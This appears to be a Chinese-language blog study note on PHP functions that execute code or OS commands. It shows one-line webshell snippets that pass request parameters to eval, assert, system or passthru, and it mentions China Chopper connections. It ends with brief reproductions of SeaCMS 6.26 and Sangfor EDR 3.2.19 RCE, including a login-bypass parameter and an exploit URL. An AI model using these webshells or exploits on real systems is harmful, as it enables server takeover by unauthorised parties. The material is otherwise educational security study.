危险函数
eval 语句:
eval会将符合php语法规范字符串当作php代码执行,能够实现简单的一句话木马,列如:
但这里我们用Feng来进行中国菜刀连接。
连接成功之后如下
能直接对对方服务器进行任何控制,
assert()
assert()同样会将字符串当做PHP 代码来执行。
在网页中通过hackbar来操作,是可以执行系统命令,如下图
preg_replace()
这个函数的作用是对字符串进行正则匹配后替换,列如下图:
preg_replace('$c$','C','aabbccdd')中,$c$是对最后字符串中的c进行查找,而'C'则是在查找的基础上将找到的小写c替换成大写C。
这个函数在当$pattern
$处,存在e修饰符时,$reqlacement的值会被当成PHP代码来执行。列如下:在上述命令中,\\是一个转义字符,.*则就是当前(也就是括号里)。运行结果如下:
让我们换条命令:
![]()
<meta charset = "utf-8"> <?php //$qwe = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code']; //assert($qwe); //$str = preg_replace('$c$','C','aabbccdd'); $str = preg_replace('=\[(.*)\]=e','$1','[system(ipconfig)]'); echo "替换后结果为:{$str}"; ?>call_user_func()
回调函数 ,一个函数调用另外一个函数。
call_user_func('system','ipconfig');
第一个参数是被调用函数的函数名,第二个参数是被调用的函数参数。结果如下图:
array_map()
同样也是一个回调函数。
这里构造函数,通过array_map来调用,在调用的时候array_map会报错
表示第二给参数应该是个数组,所有需要在第二个函数后加[],来表示。通过hackbar来修改。
$code = empty($_REQUEST['code'])?'assert':$_REQUEST['code']; $para[] = empty($_REQUEST['para'])?'phpinfo()':$_REQUEST['para']; array_map($code,$para);动态函数
OS 命令执行函数
system()能够将字符串作为OS 命令执行
$cmd = empty($_REQUEST['cmd'])?'ipconfig':$_REQUEST['cmd']; system($cmd);exec()
函数能将字符串作为OS 命令执行。
但传参为ipconfig
就只显示最后一行了,
shell_exec()
相比于shell_exec比exec显示更加全面。
passthru()
将字符串当做系统命令执行。自带输出功能.
$cmd = empty($_REQUEST['cmd'])?'ipconfig':$_REQUEST['cmd']; passthru($cmd);popen()
$cmd = empty($_REQUEST['cmd'])?'whoami':$_REQUEST['cmd']; $f = popen($cmd, 'r'); echo fread($f, 4096);popen的返回结果为打开文件的字节流,相当打开一个文件,当信息放进去。
反引号
反引号` 内的字符串,会被解析成OS 命令。
seacms_6.26_rce漏洞浮现
sangfor_edr_3.2.19_rce漏洞浮现
越权
在url后追加user=admin,即可实现任意用户登录。
在url http://*.*.*.*后追加/tool/log/c.php
在上面url基础上追加?strip_slashes=system&host=whoami
漏洞复现。


能直接对对方服务器进行任何控制,





























1684

被折叠的 条评论
为什么被折叠?



